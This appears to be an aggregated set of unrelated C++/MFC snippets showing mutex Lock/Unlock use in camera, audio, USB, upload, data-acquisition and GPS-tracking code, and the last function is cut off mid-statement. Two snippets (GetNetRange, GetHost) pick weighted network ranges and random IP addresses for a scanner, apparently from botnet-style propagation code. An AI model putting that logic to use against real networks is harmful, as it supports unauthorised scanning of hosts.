CNetRange *GetNetRange(list<CNetRange> &plNetRanges) { g_mScanner.Lock(); int iHighestScore=0; CNetRange *pNetRange=NULL; for(list<CNetRange>::iterator in=plNetRanges.begin(); in!=plNetRanges.end(); in++) { int iScore=brandom(0, (*in).iPriority); if(iScore > iHighestScore) { iHighestScore=iScore; pNetRange=&(*in); } } g_mScanner.Unlock(); return pNetRange; }
////////////////////////////////////////////////////////////////////////// // // Function Name: ViewFinderCallBackFun // Description: The function which receives the picture from a camera // Parameters: cdVoid *pBuf // cdUInt32 Size // cdUInt32 Format // cdContext Context // Returns: cdError code // Summary: // Author: CannonSDK /////////////////////////////////////////////////////////////////////////// cdUInt32 cdSTDCALL CCameraConnect::ViewFinderCallBackFun( cdVoid *pBuf, cdUInt32 Size, cdUInt32 Format, cdContext Context ) { cdError err=cdOK; LPBYTE bpPixel; PBITMAPFILEHEADER pBmpFileheader; PBITMAPINFOHEADER pBmpInfoheader; CCameraConnect *CpThis; CpThis = (CCameraConnect*)Context; if( Format == FILEFORMAT_BMP ) { pBmpFileheader = (PBITMAPFILEHEADER)pBuf; pBmpInfoheader = (PBITMAPINFOHEADER)((LPBYTE)pBuf + sizeof(BITMAPFILEHEADER)); bpPixel = (LPBYTE)pBuf + pBmpFileheader->bfOffBits; // A picture is saved at a buffer. g_CVFMutex.Lock(); memcpy(CpThis->m_BackSurface.vpBits, bpPixel, pBmpInfoheader->biSizeImage ); g_CVFMutex.Unlock(); // A picture is displayed. g_CpVFThread->ResumeThread(); } return err; }
~CScopeLock() { if( is_nullable == false || _mutex ) { _mutex->Unlock(); } }
void LListCtrl::SetHeaderControlText( DWORD dwPos, const CUString& strValue ) { myLockListCtrl.Lock(); if ( m_hWnd ) { CHeaderCtrl* pHeaderCtrl = GetHeaderCtrl(); ASSERT( (int)dwPos < pHeaderCtrl->GetItemCount() ); HDITEM hdi; memset( &hdi, 0, sizeof( HDITEM ) ); // Get header item data pHeaderCtrl->GetItem( dwPos, &hdi ); // modify item data CUStringConvert strCnv; hdi.pszText = strCnv.ToT( strValue ); hdi.mask = HDI_TEXT; // Set item data pHeaderCtrl->SetItem( dwPos, &hdi ); } myLockListCtrl.Unlock(); }
void CTxWndDrawClockMgr::CheckClock( UINT nClockIn ) { g_mutexDrawClock.Lock(1000); MAPCLOCLKDATA::iterator itb = m_mapClockData.begin(); MAPCLOCLKDATA::iterator ite = m_mapClockData.end(); HWND hInvalidWnd = FALSE; for (; itb != ite; itb++) { if (itb->second.nCurrentTick < nClockIn) { //send draw msg if (::IsWindow(itb->first)) { ::PostMessage(itb->first, MSG_TXDRAWCLOCK, itb->second.wparam, itb->second.lparam); itb->second.nCurrentTick = nClockIn + itb->second.nTickInternal; } else { //error; hInvalidWnd = itb->first; } } } g_mutexDrawClock.Unlock(); if (hInvalidWnd != NULL) { ST_DRAWCLOCKDATA data; data.hwnd = hInvalidWnd; UnRegisterDrawClock(data); } }
//设置一个回调函数,当数据准备好后,将数据回馈过去 void ZTDataBase::setPreparedCallback(DataProparedFunc *callbackFunc){ CMutex mutex; mutex.Lock(); m_callbackfunc = callbackFunc; mutex.Unlock(); }
CString GetHost(CNetRange *pNetRange) { if(!pNetRange) return CString(""); CString sRetVal; g_mScanner.Lock(); switch(pNetRange->iNetMask) { case 0: sRetVal.Format("%d.%d.%d.%d", brandom(0, 255), brandom(0, 255), brandom(0, 255), brandom(0, 255) ); break; case 8: sRetVal.Format("%d.%d.%d.%d", pNetRange->iPart1, brandom(0, 255), brandom(0, 255), brandom(0, 255) ); break; case 16: sRetVal.Format("%d.%d.%d.%d", pNetRange->iPart1, pNetRange->iPart2, brandom(0, 255), brandom(0, 255) ); break; case 24: sRetVal.Format("%d.%d.%d.%d", pNetRange->iPart1, pNetRange->iPart2, pNetRange->iPart3, brandom(0, 255) ); break; default: case 32: sRetVal.Format("%d.%d.%d.%d", pNetRange->iPart1, pNetRange->iPart2, pNetRange->iPart3, pNetRange->iPart4 ); break; } g_mScanner.Unlock(); return sRetVal; }
CCheckUSB::~CCheckUSB(){ if(ifInit == 1){ if(ifCheckIn == 1){ //变为不是1之后就开始退出消息检测循环 CMutex mutex; mutex.Lock(); if(stateIn == 1) stateIn = 3; mutex.Unlock(); //阻塞直到退出循环之后才可以执行释放动作 while(stateIn != 0); //此时关闭之后句柄就已经无效了不需要再销毁 CloseWindow(Son->h_CheckIn); if(IsWindow(Son->h_CheckIn) != 0) AfxMessageBox("未成功关闭"); //成功关闭窗口之后就可以反注册类了 BOOL nSucceed = UnregisterClass("USBIn",AfxGetInstanceHandle()); if(nSucceed == 0) AfxMessageBox("反注册类失败"); } if(ifCheckOut == 1){ //变为不是1之后就开始退出消息检测循环 CMutex mutex; mutex.Lock(); //如果在循环内则让他跳出循环 if(stateOut == 1) stateOut = 3; mutex.Unlock(); //阻塞直到退出循环之后才可以执行释放动作 while(stateOut != 0); //此时关闭之后句柄就已经无效了不需要再销毁 CloseWindow(Son->h_CheckOut); if(IsWindow(Son->h_CheckOut) != 0) AfxMessageBox("未成功关闭"); //成功关闭窗口之后就可以反注册类了 BOOL nSucceed = UnregisterClass("USBOut",AfxGetInstanceHandle()); if(nSucceed == 0) AfxMessageBox("反注册类失败"); } } //在销毁之后就可以继续再产生CCheckUSB了,所以这里需要重置为0 ifInit = 0; }
void ISndStreamWinAmp::FlushFIFO( ) { // lock access to FIFO parameters g_mFifoAcces.Lock(); g_nFifoFreeBuffers = WAPI_FIFO_NUM_BUFFERS; g_nFifoReadIdx = 0; g_nFifoWriteIdx = 0; g_eFifoNotFull.SetEvent( ); g_eFifoNotEmpty.ResetEvent( ); g_nFifoTotalBytes = 0; // unlock access to FIFO parameters g_mFifoAcces.Unlock(); }
void CFileUpLoad::UnInit() { m_bStop = TRUE; m_bConnect = FALSE; g_bFileConnect = false; m_bUpLoad = FALSE; g_pLogger->information("CFileUpLoad UnInit==>WaitForStop()."); WaitForStop(); g_pLogger->information("CFileUpLoad UnInit==>WaitForStop() completed."); if (m_pITcpClient) { m_pITcpClient->ReleaseConnections(); m_pITcpClient = NULL; } mutexObj.Lock(); std::list<stUpLoadAns*>::iterator it1 = m_listFile.begin(); for (; it1 != m_listFile.end(); ) { stUpLoadAns* itUp = *it1; it1 = m_listFile.erase(it1); SAFE_RELEASE(itUp); } m_listFile.clear(); mutexObj.Unlock(); // m_VecAns.clear(); std::vector<stUpLoadAns*>::iterator it = m_VecAns.begin(); for (; it != m_VecAns.end(); it++) { if (*it) { delete (*it); (*it) = NULL; } } std::list<pstUpLoadAddr>::iterator itAddr = m_UpLoadAddrList.begin(); for (; itAddr != m_UpLoadAddrList.end();) { pstUpLoadAddr pUpLoadAddr = *itAddr; itAddr = m_UpLoadAddrList.erase(itAddr); SAFE_RELEASE(pUpLoadAddr); } }
BOOL CTxWndDrawClockMgr::UnRegisterDrawClock( ST_DRAWCLOCKDATA& data ) { g_mutexDrawClock.Lock(1000); m_mapClockData.erase(data.hwnd); if (m_mapClockData.size() == 0) { if (m_hThread != NULL) { TerminateThread(m_hThread, 0); CloseHandle(m_hThread); m_hThread = NULL; } } g_mutexDrawClock.Unlock(); return TRUE; }
BOOL CFileUpLoad::SendAnsFile(CString strFilePath, CString strFileName, void* pTask) { stUpLoadAns* stAns = new stUpLoadAns(); stAns->strAnsName = strFileName; stAns->strPath = strFilePath; stAns->bUpload = FALSE; stAns->pTask = pTask; #if 1 mutexObj.Lock(); m_listFile.push_back(stAns); mutexObj.Unlock(); #else m_VecAns.push_back(stAns); #endif TRACE(_T("add ans file %s\n"), strFileName); SetEvent(m_hAddAnsEvent); return TRUE; }
void CCondition::Wait(CMutex &mutex) { #if defined(COREARRAY_POSIX_THREAD) int v = pthread_cond_wait(&cond, &mutex.mutex); if (v != 0) throw ErrThread(ERR_PTHREAD, "pthread_cond_wait", v); #elif defined(COREARRAY_PLATFORM_WINDOWS) // increase the number of waiters EnterCriticalSection(&cond.waiter_count_mutex); cond.waiter_count ++; LeaveCriticalSection(&cond.waiter_count_mutex); // release the mutex object mutex.Unlock(); // wait for either event to become signaled DWORD rv = WaitForMultipleObjects(2, cond.events, FALSE, INFINITE); if (rv == WAIT_TIMEOUT) throw ErrThread("condition object wait time out."); else if (rv == WAIT_FAILED) throw ErrThread(LastSysErrMsg()); // check if we are the last waiter EnterCriticalSection(&cond.waiter_count_mutex); cond.waiter_count --; bool IsLast = (rv == (WAIT_OBJECT_0 + 1)) && (cond.waiter_count == 0); LeaveCriticalSection(&cond.waiter_count_mutex); // reset the event if last waiter if (IsLast) { if (ResetEvent(cond.events[1]) == 0) throw ErrThread(LastSysErrMsg()); } // Re-acquire the mutex mutex.Lock(); #endif }
/* * Reads the received numberOfScans scans from the device. If not enough data is available (errorCode == 2) or the application buffer overruns (errorCode == 1), this method returns false. * float* destBuffer: the array that returns the received data from the application data buffer. Data is aligned as follows: element at position destBuffer[scanIndex * numChannels + channelIndex] is sample of channel channelIndex (zero-based) of the scan with zero-based scanIndex. channelIndex ranges from 0..numChannelsPerDevices where numChannelsPerDevice the total number of channels of the device including the trigger line. * int numberOfScans: the number of scans to retrieve from the application buffer. */ bool ReadData(float* destBuffer, int numberOfScans, int *errorCode, string *errorMessage) { int numChannels = NUMBER_OF_CHANNELS + (int) ENABLE_TRIGGER; int validPoints = numChannels * numberOfScans; //wait until requested amount of data is ready if (_buffer.GetSize() < validPoints) { *errorCode = 2; *errorMessage = "Not enough data available"; return false; } //acquire lock on the application buffer for reading _bufferLock.Lock(); __try { //if buffer run over report error and reset buffer if (_bufferOverrun) { _buffer.Reset(); *errorCode = 1; *errorMessage = "Error on reading data from the application data buffer: buffer overrun."; _bufferOverrun = false; return false; } //copy the data from the application buffer into the destination buffer _buffer.Read(destBuffer, validPoints); } __finally { _bufferLock.Unlock(); } *errorCode = 0; *errorMessage = "No error occured."; return true; }
//PRIVATE: Close the file inline void CLog::close() { if(!m_f) throw CMWEXCEPTION(EIDMW_ERR_UNKNOWN); #ifndef WIN32 m_flock.l_type = F_UNLCK; /* tell it to unlock the region */ if( fcntl(fileno(m_f), F_SETLK, &m_flock) == -1) /* set the region to unlocked */ throw CMWEXCEPTION(EIDMW_ERR_UNKNOWN); #endif fclose(m_f); m_f=NULL; #ifdef WIN32 ReleaseMutex(LogMutex); #else m_mutex.Unlock(); #endif }
BOOL CTxWndDrawClockMgr::RegisterDrawClock( ST_DRAWCLOCKDATA& data ) { g_mutexDrawClock.Lock(1000); MAPCLOCLKDATA::iterator itf = m_mapClockData.find(data.hwnd); if (itf == m_mapClockData.end()) { data.nCurrentTick = GetTickCount(); m_mapClockData[data.hwnd] = data; if (m_mapClockData.size() ==1) { if (m_hThread != NULL) { ASSERT(FALSE); CloseHandle(m_hThread); } m_hThread = CreateThread(NULL, 0, ClockThreadProc, (void*)(&m_mapClockData), 0, NULL); ASSERT(m_hThread != NULL); } } g_mutexDrawClock.Unlock(); return TRUE; }
////////////////////////////////////////////////////////////////////////// // // Function Name: ViewFinderProc // Description: The thread for displaying a picture // Parameters: LPVOID vpParam // Returns: some UINT value // Summary: // Author: CannonSDK // /////////////////////////////////////////////////////////////////////////// UINT WINAPI CCameraConnect::ViewFinderProc( LPVOID vpParam ) { CCameraConnect *CpThis; BOOL *fpEnd; //BOOL fEnd; //Commented due to unreferenced variable HDC hdcDest,hdcSrc; //CStatic *viewfinder; //Commented due to unreferenced variable //DIBData backsurface; Commented due to unfeferenced variable CpThis = (CCameraConnect*)vpParam; fpEnd = (BOOL*)(&CpThis->m_fVFEnd); while( *fpEnd ) { /* It waits until it can use data. */ g_CVFMutex.Lock(); /* A picture is displayed. */ hdcDest = ::GetDC( CpThis->m_CpViewFinder->GetSafeHwnd() ); hdcSrc = ::CreateCompatibleDC( hdcDest ); ::SelectObject( hdcSrc, CpThis->m_BackSurface.hBmp ); ::BitBlt( hdcDest, 0,0,VIEWFINDER_WIDTH,VIEWFINDER_HEIGHT, hdcSrc, 0,0, SRCCOPY ); ::DeleteDC( hdcSrc ); ::ReleaseDC( CpThis->m_CpViewFinder->GetSafeHwnd(), hdcDest ); /* The ownership of data is released. */ g_CVFMutex.Unlock(); /* A thread is suspended. */ g_CpVFThread->SuspendThread(); } return 0; }
DWORD WINAPI CheckIn(LPVOID lpParam){ TCHAR szClassName[] = "USBIn"; WNDCLASS wndclsIn = {0}; wndclsIn.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); wndclsIn.hCursor = (HCURSOR)LoadCursor(NULL, IDC_ARROW); wndclsIn.hIcon = (HICON)LoadIcon(NULL, IDI_APPLICATION); wndclsIn.lpfnWndProc = WndProcIn; wndclsIn.lpszClassName = szClassName; if(RegisterClass(&wndclsIn) == 0){ AfxMessageBox("RegisterClass Failed!\r\n"); return 0; } if(Son->h_CheckIn != 0) AfxMessageBox("已有窗口"); Son->h_CheckIn = CreateWindow(szClassName,szClassName,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,NULL,NULL); if(NULL == Son->h_CheckIn){ AfxMessageBox("CreateWindow Failed!\r\n"); return 0; } ShowWindow(Son->h_CheckIn, SW_HIDE); UpdateWindow(Son->h_CheckIn); MSG msg; while(stateIn == 1){ GetMessage(&msg, NULL, NULL, NULL); TranslateMessage(&msg); DispatchMessage(&msg); } CMutex mutex; mutex.Lock(); stateIn = 0; mutex.Unlock(); return 1; }
/* * Starts data acquisition and acquires data until StopAcquisition is called (i.e., the _isRunning flag is set to false) * Then the data acquisition will be stopped. */ unsigned int DoAcquisition(LPVOID pArgs) { int queueIndex = 0; int numChannels = NUMBER_OF_CHANNELS + (int) ENABLE_TRIGGER; int nPoints = NUMBER_OF_SCANS * numChannels; DWORD numValidBytes = nPoints * sizeof(float); DWORD bufferSizeBytes = (DWORD) ceil(numValidBytes / (double) MAX_USB_PACKET_SIZE) * MAX_USB_PACKET_SIZE; int timeOutMilliseconds = (int) ceil(2000 * (NUMBER_OF_SCANS / (double) SAMPLE_RATE_HZ)); DWORD numBytesReceived = 0; //create the temporary data buffers (the device will write data into those) BYTE** buffers = new BYTE*[QUEUE_SIZE]; OVERLAPPED* overlapped = new OVERLAPPED[QUEUE_SIZE]; __try { //for each data buffer allocate a number of numValidBytes bytes for (queueIndex = 0; queueIndex < QUEUE_SIZE; queueIndex++) { buffers[queueIndex] = new BYTE[bufferSizeBytes]; SecureZeroMemory(&(overlapped[queueIndex]), sizeof(OVERLAPPED)); //create a windows event handle that will be signaled when new data from the device has been received for each data buffer overlapped[queueIndex].hEvent = CreateEvent(NULL, false, false, NULL); } queueIndex = 0; //start device if (!GT_Start(_hDevice)) { cout << "\tError on GT_Start: Couldn't start data acquisition of device.\n"; PrintDeviceErrorMessage(); return 0; } //queue up the first batch of transfer requests to prevent overflow on the device for (queueIndex = 0; queueIndex < QUEUE_SIZE; queueIndex++) { if (!GT_GetData(_hDevice, buffers[queueIndex], bufferSizeBytes, &overlapped[queueIndex])) { cout << "\tError on GT_GetData.\n"; PrintDeviceErrorMessage(); return 0; } } queueIndex = 0; //continouos data acquisition while (_isRunning) { //wait for notification from the system telling that new data is available if (WaitForSingleObject(overlapped[queueIndex].hEvent, 5000) == WAIT_TIMEOUT) { cout << "\tError on data transfer: timeout occured.\n"; PrintDeviceErrorMessage(); return 0; } //get number of actually received bytes... if (!GT_GetOverlappedResult(_hDevice, &overlapped[queueIndex], &numBytesReceived, false)) { cout << "\tError on data transfer: couldn't receive number of transferred bytes (GT_GetOverlappedResult() returned FALSE; Windows error code: " << GetLastError() << ")\n"; return 0; } //...and check if we lost something (number of received bytes must be equal to the previously allocated buffer size) if (numBytesReceived != numValidBytes) { cout << "\tError on data transfer: samples lost.\n"; return 0; } //to store the received data into the application data buffer at once, lock it _bufferLock.Lock(); __try { //if we are going to overrun on writing the received data into the buffer, set the appropriate flag; the reading thread will handle the overrun _bufferOverrun = (_buffer.GetFreeSize() < nPoints); //store received data in the correct order (that is scan-wise, where one scan includes all channels) _buffer.Write((float*) buffers[queueIndex], nPoints); } __finally { //release the previously acquired lock _bufferLock.Unlock(); } //add new GetData call to the queue replacing the currently received one if (!GT_GetData(_hDevice, buffers[queueIndex], bufferSizeBytes, &overlapped[queueIndex])) { cout << "\tError on GT_GetData.\n"; PrintDeviceErrorMessage(); return 0; } //signal processing (main) thread that new data is available _newDataAvailable.SetEvent(); //increment circular queueIndex to process the next queue at the next loop repitition (on overrun start at index 0 again) queueIndex = (queueIndex + 1) % QUEUE_SIZE; } } __finally { cout << "Stopping device and cleaning up..." << "\n"; //stop device if (!GT_Stop(_hDevice)) { cout << "\tError on GT_Stop: couldn't stop device.\n"; PrintDeviceErrorMessage(); } //clean up allocated resources for (int i = 0; i < QUEUE_SIZE; i++) { if (WaitForSingleObject(overlapped[queueIndex].hEvent, timeOutMilliseconds) == WAIT_TIMEOUT) GT_ResetTransfer(_hDevice); CloseHandle(overlapped[queueIndex].hEvent); delete [] buffers[queueIndex]; //increment queue index queueIndex = (queueIndex + 1) % QUEUE_SIZE; } delete [] buffers; delete [] overlapped; //reset _isRunning flag _isRunning = false; //signal event _dataAcquisitionStopped.SetEvent(); //end thread AfxEndThread(0xdead); } return 0xdead; }
int OutWrite(char *buf, int len) { int nReturn = 1; // 0 on success. Len == bytes to write (<= 8192 always). buf is straight audio data. // 1 returns not able to write (yet). Non-blocking, always. LTRACE2( _T( "OutWrite %08x %d" ), buf, len ); // block for the MOD pluging ? // wait till buffer is available, or check if were finished yet HANDLE pWaitEvents[2] = { (HANDLE)g_eFifoNotFull, (HANDLE)g_eFinished }; int nEventIdx = WaitForMultipleObjects( 2, pWaitEvents, FALSE, INFINITE ) - WAIT_OBJECT_0 ; // check if write buffer has triggered this event if ( 0 == nEventIdx ) { // were sure that the write buffer is available ! ASSERT( len <= WAPI_FIFO_BUFFER_SIZE ); if ( 0 == len || NULL == buf ) { } else { memcpy( g_pFifo[g_nFifoWriteIdx].pbtBuffer, buf, len ); g_pFifo[g_nFifoWriteIdx].nBytesWritten = len; } // increase FIFO write index ( no FIFO lock need, since were // the only ones that are increasing this parameter g_nFifoWriteIdx = ( ( g_nFifoWriteIdx + 1 ) % WAPI_FIFO_NUM_BUFFERS ); nReturn = 0; } else { g_pFifo[g_nFifoWriteIdx].nBytesWritten = 0; g_nFifoWriteIdx = ( ( g_nFifoWriteIdx + 1 ) % WAPI_FIFO_NUM_BUFFERS ); nReturn = 1; } // lock access to FIFO parameters g_mFifoAcces.Lock(); g_nFifoFreeBuffers--; ASSERT( g_nFifoFreeBuffers >= 0 ); if ( 0 == nReturn ) { g_nFifoTotalBytes+= len; } LTRACE( _T( "WriteBuffer %d FreeBuffers on Write :%d bytes in fifo %d" ), g_nFifoWriteIdx, g_nFifoFreeBuffers, g_nFifoTotalBytes ); if ( 1 == g_nFifoFreeBuffers ) { LTRACE( _T( "Reset g_eFifoNotFull event" ) ); g_eFifoNotFull.ResetEvent(); } if ( (WAPI_FIFO_NUM_BUFFERS -1 ) == g_nFifoFreeBuffers ) { LTRACE( _T( "Set g_eFifoNotEmpty event" ) ); g_eFifoNotEmpty.SetEvent(); } // unlock access to FIFO parameters g_mFifoAcces.Unlock(); LTRACE2( _T( "OutWrite Writing %d bytes to buffer %d freebuffers %d" ), len, g_nFifoWriteIdx, g_nFifoFreeBuffers ); ::Sleep(0); return nReturn; }
DWORD ISndStreamWinAmp::Read(PBYTE pbData,DWORD dwNumBytes) { int nReturn = 0; LONG lastcount = 0; LTRACE3( _T( "ISndStreamWinAmp::Read dwNumBytes %d CurrentFilePos %d TotalFileSize %d " ), dwNumBytes, m_dwCurrentFilePos, m_dwTotalFileSize ); m_dwCurrentFilePos+= dwNumBytes; int nCurrentTime = m_WinAmpProp.pModule->GetOutputTime(); int nTotalTime = m_WinAmpProp.pModule->GetLength(); if ( nTotalTime ) { int t = g_nOutSampleRate*g_nNumChannels; int l = 0; int ms = g_nFifoTotalBytes; if ( t ) { l=ms%t; ms /= t; ms *= 1000; ms += (l*1000)/t; if (g_nBitsPerSample == 16) ms/=2; } else { ms = 0; } SetPercent( (INT)( (double) (nCurrentTime - ms) * 100.0 / nTotalTime ) ); } else { SetPercent( 0 ); } // wait for incoming data HANDLE pWaitEvents[2] = { (HANDLE)g_eFifoNotEmpty, (HANDLE)g_eFinished }; int nEventIdx = WaitForMultipleObjects( 2, pWaitEvents, FALSE, INFINITE ) - WAIT_OBJECT_0 ; if ( 1 == nEventIdx ) { nReturn = 0; } else { nReturn = g_pFifo[g_nFifoReadIdx].nBytesWritten; memcpy( pbData, g_pFifo[g_nFifoReadIdx].pbtBuffer, nReturn ); LTRACE2( _T( "ISndStreamWinAmp::Read getting %d bytes from buffer %d (freebuffers = %d)" ), g_pFifo[g_nFifoReadIdx].nBytesWritten, g_nFifoReadIdx, g_nFifoFreeBuffers ); // lock access to FIFO parameters g_mFifoAcces.Lock(); if ( g_nFifoFreeBuffers < WAPI_FIFO_NUM_BUFFERS ) { g_nFifoFreeBuffers++; } if ( WAPI_FIFO_NUM_BUFFERS == g_nFifoFreeBuffers ) { LTRACE( _T( "Reset g_eFifoNotEmpty Event" ) ); g_eFifoNotEmpty.ResetEvent(); } if ( 2 == g_nFifoFreeBuffers ) { LTRACE( _T( "Set g_eFifoNotFull Event" ) ); g_eFifoNotFull.SetEvent(); } g_nFifoTotalBytes-= nReturn; // unlock access to FIFO parameters g_mFifoAcces.Unlock(); // increase FIFO read index pointer g_nFifoReadIdx = ( ( g_nFifoReadIdx + 1 ) % WAPI_FIFO_NUM_BUFFERS ); LTRACE( _T( "FreeBuffers on Read :%d, bytes in fifo %d" ), g_nFifoFreeBuffers, g_nFifoTotalBytes ); } // update the bitrate info SetBitRate( g_nBitRate ); LTRACE2( _T( "ISndStreamWinAmp::Read returns %d" ), nReturn ); return nReturn; }
BOOL CGTQEquipment::DecGpsData(CIOCPBuff *p, CGPSData &GpsData,CString &szMessage) { if(!p) return FALSE; char *pData=p->buf; if(!pData) return FALSE; GTQV1Data *pTQV1Data=NULL; GTQV42Data *pTQV42Data=NULL; GTQV43Data *pTQV43Data=NULL; if(pData[0]=='*') {//未压缩的数据; CString szNoyeTime=pData; int SubTypeLen=0; GTQDATATYPE iType=QueryDataType(pData,p->iMsgLen,SubTypeLen); switch(iType) { case GTYPE_V1: {//一般的数据信息; pTQV1Data=(GTQV1Data * )(pData=p->buf); pTQV1Data->init(); GpsData.fLongitude=DecLONG(pTQV1Data->Longtinue); GpsData.fLatitude=DecLat(pTQV1Data->Lat); GpsData.fSpeed=(float)atof(pTQV1Data->Speed); GpsData.iDirection=atoi(pTQV1Data->Diredtion); GpsData.iState=SetState(pTQV1Data->state); if(pTQV1Data->Able[0]=='A') GpsData.iFlag=6; else { GpsData.iFlag=0; // return FALSE; } //侧测试的时候用的 // COleDateTime now=COleDateTime::GetCurrentTime(); COleDateTime now=GetNOYSTime(szNoyeTime); CString szTime=now.Format("%Y-%m-%d %H:%M:%S"); sprintf(GpsData.Time,"%s",szTime); // GpsData.Time[20]=0; //end; memcpy(GpsData.szEquimentID,pTQV1Data->szKey,10); //得到设备的key; char szSta[9]={0}; memcpy(szSta,pTQV1Data->state,8); SetSata(szSta,GpsData); if(GpsData.iState==GPS_ROBALARM) return TRUE; //超速度 if(GpsData.fSpeed>=80) return FALSE; g_SpeedAlarmLock.Lock(); int iCount=theApp.m_asSpeedAlarmInfo.GetSize(); for(int iLoop=0;iLoop<iCount;iLoop++) { CSpeedAlarmInfo info=theApp.m_asSpeedAlarmInfo.GetAt(iLoop); if(info.szKeyId==GpsData.szEquimentID) { if(GpsData.fSpeed>=info.iHSpeed) { GpsData.iState=GPS_HIGHSPEEDALARM; CGpsCommand ppC; CString sasasa="11111111111"; // ppC.EquimentId; sprintf(ppC.EquimentId,"%s",sasasa); ppC.iCOmmandID=4; CString saasa="你已超速"; sprintf(ppC.Param,"%s",saasa); this->SendTQGPSCommand(info.szKeyId,&ppC); } if(GpsData.fSpeed<info.iHSpeed && (GpsData.fSpeed>=(info.iHSpeed-2))) { CGpsCommand ppC; CString sasasa="11111111111"; // ppC.EquimentId; sprintf(ppC.EquimentId,"%s",sasasa); ppC.iCOmmandID=4; CString saasa="请减速"; sprintf(ppC.Param,"%s",saasa); this->SendTQGPSCommand(info.szKeyId,&ppC); } break; } } g_SpeedAlarmLock.Unlock(); } break; case GTYPE_V4: { if(SubTypeLen==2) { pTQV42Data=(GTQV42Data * )(pData=p->buf); pTQV42Data->init(); if(szGReType2.Find(pTQV42Data->TYPE2)==-1) return FALSE; //不是一开始定义的就不用理会; GpsData.fLongitude=DecLONG(pTQV42Data->Longtinue); GpsData.fLatitude=DecLat(pTQV42Data->Lat); GpsData.fSpeed=(float)atof(pTQV42Data->Speed); GpsData.iDirection=atoi(pTQV42Data->Diredtion); GpsData.iState=SetState(pTQV42Data->state); if(pTQV42Data->Able[0]=='A') GpsData.iFlag=6; else { GpsData.iFlag=0; // return FALSE; } //侧测试的时候用的 // COleDateTime now=COleDateTime::GetCurrentTime(); COleDateTime now=GetNOYSTime(szNoyeTime); CString szTime=now.Format("%Y-%m-%d %H:%M:%S"); sprintf(GpsData.Time,"%s",szTime); memcpy(GpsData.szEquimentID,pTQV42Data->szKey,10); //得到设备的key; //判断回应信息的内容; CString szReMessage=pTQV42Data->TYPE2; if(szReMessage.Find("I1")!=-1) {//短消息正确接受; GpsData.iState=GPS_SENDMESSAGEOK; } } if(SubTypeLen==3) { pTQV43Data=(GTQV43Data * )(pData=p->buf); pTQV43Data->init(); } // 设备回应的信息 } break; case GTYPE_I1: { //短消息 char buf109[7]={0}; memcpy(buf109,pData+18,6); CString szReCommandID=buf109; DOTQMessage(pData,p->iMsgLen,szMessage); memcpy(GpsData.szEquimentID,pData+4,10); //得到设备的key; GpsData.iFlag=0; COleDateTime now=COleDateTime::GetCurrentTime(); CString szTime=now.Format("%Y-%m-%d %H:%M:%S"); sprintf(GpsData.Time,"%s",szTime); szMessage=szMessage+"#"; szMessage=szMessage+szReCommandID; } break; case GTYPE_I8: { //从计价器发过来的信息; CString szStr; if(GetDCBTOASC(pData,p->iMsgLen,szStr)==FALSE) return FALSE; memcpy(GpsData.szEquimentID,pData+4,10); //得到设备的key; szMessage=GetTaxiData(GpsData.szEquimentID,szStr); GpsData.iFlag=0; COleDateTime now=COleDateTime::GetCurrentTime(); CString szTime=now.Format("%Y-%m-%d %H:%M:%S"); sprintf(GpsData.Time,"%s",szTime); } break; case GTYPE_I2: { memcpy(GpsData.szEquimentID,pData+4,10); //得到设备的key; COleDateTime now=COleDateTime::GetCurrentTime(); CString szTime=now.Format("%Y-%m-%d %H:%M:%S"); sprintf(GpsData.Time,"%s",szTime); GpsData.iFlag=0; char chMessage[5]={0}; if(szNoyeTime.Find(",A")!=-1) { int index=szNoyeTime.Find(",A"); memcpy(chMessage,&(pData[index+2]),4); szMessage.Format("驾驶员%s登陆",chMessage); } if(szNoyeTime.Find(",V")!=-1) { int index=szNoyeTime.Find(",A"); szMessage.Format("驾驶员离线"); } } break; default: ASSERT(FALSE); return FALSE; } return TRUE; } //$3070320141084211300407 3116853500 121278339E000168FBFFFBFFFF0048 if(pData[0]=='$') {//压缩的数据; GTQPREDATA *pPreData=NULL; pPreData=(GTQPREDATA * )(pData); if(pPreData==NULL) return FALSE; CString szStr; if(GetDCBTOASC(pData,p->iMsgLen,szStr)==FALSE) return FALSE; int iLen=szStr.GetLength(); if(iLen<60) return FALSE; CString szId=szStr.Mid(1,10); CString szLong,szLat; szLat=szStr.Mid(23,8); szLong=szStr.Mid(33,9); szLat.Insert(4,"."); szLong.Insert(5,"."); GpsData.fLongitude=DecLONG(szLong.GetBuffer(0)); GpsData.fLatitude=DecLat(szLat.GetBuffer(0)); GpsData.fSpeed=(float)0; GpsData.iDirection=0; GpsData.iState=SetState(pTQV1Data->state); int Eindex=szStr.Find("E",33); if(Eindex!=-1) { GpsData.iFlag=6; //速度和方向; CString szSpeed=szStr.Mid(Eindex+1,3); CString szOrinet=szStr.Mid(Eindex+4,3); GpsData.fSpeed=atoi(szSpeed.GetBuffer(0)) *1.852; GpsData.iDirection=atoi(szOrinet.GetBuffer(0)); } else { GpsData.iFlag=0; // return FALSE; } //侧测试的时候用的 // COleDateTime now=COleDateTime::GetCurrentTime(); COleDateTime now=GetYSTime(szStr); CString szTime=now.Format("%Y-%m-%d %H:%M:%S"); sprintf(GpsData.Time,"%s",szTime); memcpy(GpsData.szEquimentID,szId.GetBuffer(0),10); // if(this->GetTaxibeWork(GpsData.szEquimentID)==TRUE) { // GpsData.iState=GPS_STATONE; } //设置状态 CString szSta=szStr.Mid(iLen-6-8,8); // SetSata(szSta,GpsData); SetUDPSata(szSta,GpsData); if(GpsData.iState==GPS_ROBALARM) return TRUE; if(GpsData.fSpeed>=80) return FALSE; //超速度 g_SpeedAlarmLock.Lock(); int iCount=theApp.m_asSpeedAlarmInfo.GetSize(); for(int iLoop=0;iLoop<iCount;iLoop++) { CSpeedAlarmInfo info=theApp.m_asSpeedAlarmInfo.GetAt(iLoop); if(info.szKeyId==GpsData.szEquimentID) { if(GpsData.fSpeed>=info.iHSpeed) { GpsData.iState=GPS_HIGHSPEEDALARM; // m_tempszMessage+="超速度"; CGpsCommand ppC; CString sasasa="11111111111"; // ppC.EquimentId; sprintf(ppC.EquimentId,"%s",sasasa); ppC.iCOmmandID=4; CString saasa="你已经超速"; sprintf(ppC.Param,"%s",saasa); this->SendTQGPSCommand(info.szKeyId,&ppC); } if(GpsData.fSpeed<info.iHSpeed && (GpsData.fSpeed>=(info.iHSpeed-2))) { CGpsCommand ppC; CString sasasa="11111111111"; // ppC.EquimentId; 